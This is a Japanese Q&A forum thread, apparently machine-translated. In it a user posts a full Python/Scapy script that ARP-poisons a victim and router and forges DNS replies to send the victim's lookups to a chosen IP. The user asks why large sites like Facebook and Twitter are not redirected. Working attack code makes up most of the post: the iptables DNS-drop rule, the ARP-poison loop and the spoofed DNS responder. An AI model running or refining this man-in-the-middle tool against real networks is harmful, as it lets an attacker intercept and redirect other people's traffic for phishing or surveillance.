2017-10-29 12 views
1

私は、単に楽しみのためにpythonでDNP spoofer(ARP中毒あり)を作成しました。私の目標は、被害者のDNSリクエストを自分のサイトにリダイレクトすることだけです。彼らがどんなウェブサイトに行くときはいつでも、彼らは私のサイトに行く。しかし、一部のサイトだけで動作するようで、TwitterやFacebookのようなサイトに行くと動作しないようですが、Googleや小規模なサイトに行くとうまくリダイレ​​クトされますか?また、ルータのすべてのDNSをブロックするために、私のコードでiptablesのルールを使用しています。私のDNSスプーフィングは一部のサイトでのみ動作しますか?

誰でも知っていますか?

コード:

#command line arguments 
parser = argparse.ArgumentParser(description='ARP Poisoning and DNS Spoofing') 
parser.add_argument('-v', '--victim', dest='victimIP', help="IP Address of victim", required=True) 
parser.add_argument('-t', '--target', dest='targetIP', help="IP Address of spoof site", required=True) 
parser.add_argument('-r', '--router', dest='routerIP', help="IP Address of Router", required=True) 

args = parser.parse_args() 
vIP = args.victimIP 
targetIP = args.targetIP 
routerIP = args.routerIP 
localMAC = "" 
victimMAC = "" 
routerMAC = "" 

#Setup function 
def setup(): 
    #setup forwarding rules 
    #disable forwarding of DNS requests to router 
    os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 
    #iptables rule 
    Popen(["iptables -A FORWARD -p UDP --dport 53 -j DROP"], shell=True, stdout=PIPE) 

#Flush iptables on exit 
def reset(): 
    Popen(["iptables -F"], shell=True, stdout=PIPE) 

#get MACaddress of local machine 
def getOurMAC(interface): 
    try: 
     mac = open('/sys/class/net/'+interface+'/address').readline() 
    except: 
     mac = "00:00:00:00:00:00" 
    return mac[0:17] 


#returns MAC address of victim IP 
def getTargetMAC(IP): 
    #add the target to our system's ARP cache 
    pingResult = Popen(["ping", "-c 1", IP], stdout=PIPE) 
    pid = Popen(["arp", "-n", IP], stdout=PIPE) 
    s = pid.communicate()[0] 
    MAC = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0] 

    return MAC 


#constructs and sends arp packets to send to router and to victim. 
def ARPpoison(localMAC, victimMAC, routerMAC): 
    arpPacketVictim = Ether(src=localMAC, dst=victimMAC)/ARP(hwsrc=localMAC, hwdst=victimMAC, psrc=routerIP, pdst=vIP, op=2) 
    arpPacketRouter = Ether(src=localMAC, dst=routerMAC)/ARP(hwsrc=localMAC, hwdst=routerMAC, psrc=vIP, pdst=routerIP, op=2) 
    print str(vIP) + " has been poisoned." 
    while True: 
     try: 
      sendp(arpPacketVictim, verbose=0) 
      sendp(arpPacketRouter, verbose=0) 
      #pause between each send 
      time.sleep(3) 
     except KeyboardInterrupt: 
      sys.exit(0) 

#construct and send a spoofed DNS response packet to the victim 
def reply(packet): 
    global targetIP 
    responsePacket = (IP(dst=vIP, src=packet[IP].dst)/UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)/\ 
        DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, qr=1, an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=targetIP))) 
    send(responsePacket, verbose=0) 
    print "Sent spoofed DNS Packet" 
    return 

#this parse creates a thread 
def parse(packet): 
    if packet.haslayer(DNS) and packet.getlayer(DNS).qr==0: 
     replyThread = threading.Thread(target=reply, args=packet) 
     replyThread.start() 

#initiate sniff filter for DNS requests 
def DNSsniffer(): 
    global vIP 
    print "Sniffing DNS" 
    sniffFilter = "udp and port 53 and src " +str(vIP) 
    sniff(filter=sniffFilter, prn=parse) 

# main function 
def main(): 
    victimMAC = getTargetMAC(vIP) 
    localMAC = getOurMAC("eno1")#Datacomm card 
    routerMAC = getTargetMAC(routerIP) 

    #threads creation 
    ARPThread = threading.Thread(target=ARPpoison, args=(localMAC, victimMAC, routerMAC)) 
    sniffThread = threading.Thread(target=DNSsniffer) 
    # 
    ARPThread.daemon = True 
    sniffThread.daemon = True 
    # 
    ARPThread.start() 
    sniffThread.start() 

    #Keyboard Interrupt 
    while True: 
     try: 
      time.sleep(5) 
     except KeyboardInterrupt: 
      reset() 
      print "Exiting" 
      sys.exit(0) 

#-------------------------------------------------- 
setup() 
main() 

UPDATE:私はさらにいくつかのテストを行っている 、それは被害者がGoogleなどのサイトに起こっている時にうまくリダイレ​​クトするようです。サイトを高速読み込みしますが、FacebookやTwitterなどの大きなサイトでは、永久に読み込まれるようです。

スレッドを生成する代わりに、代わりにプロセスを生成できますか?

+0

ローカルDNSキャッシュ –

+0

で解決済みの名前があるかもしれませんが、私のプログラムがスプーフィングDNSを送信しようとしていても、facebookとtwitterは動作していないようですパケット。 –

答えて

0

facebookとtwitterのセキュリティを偽装するだけで、私のコードに間違いはありません。

関連する問題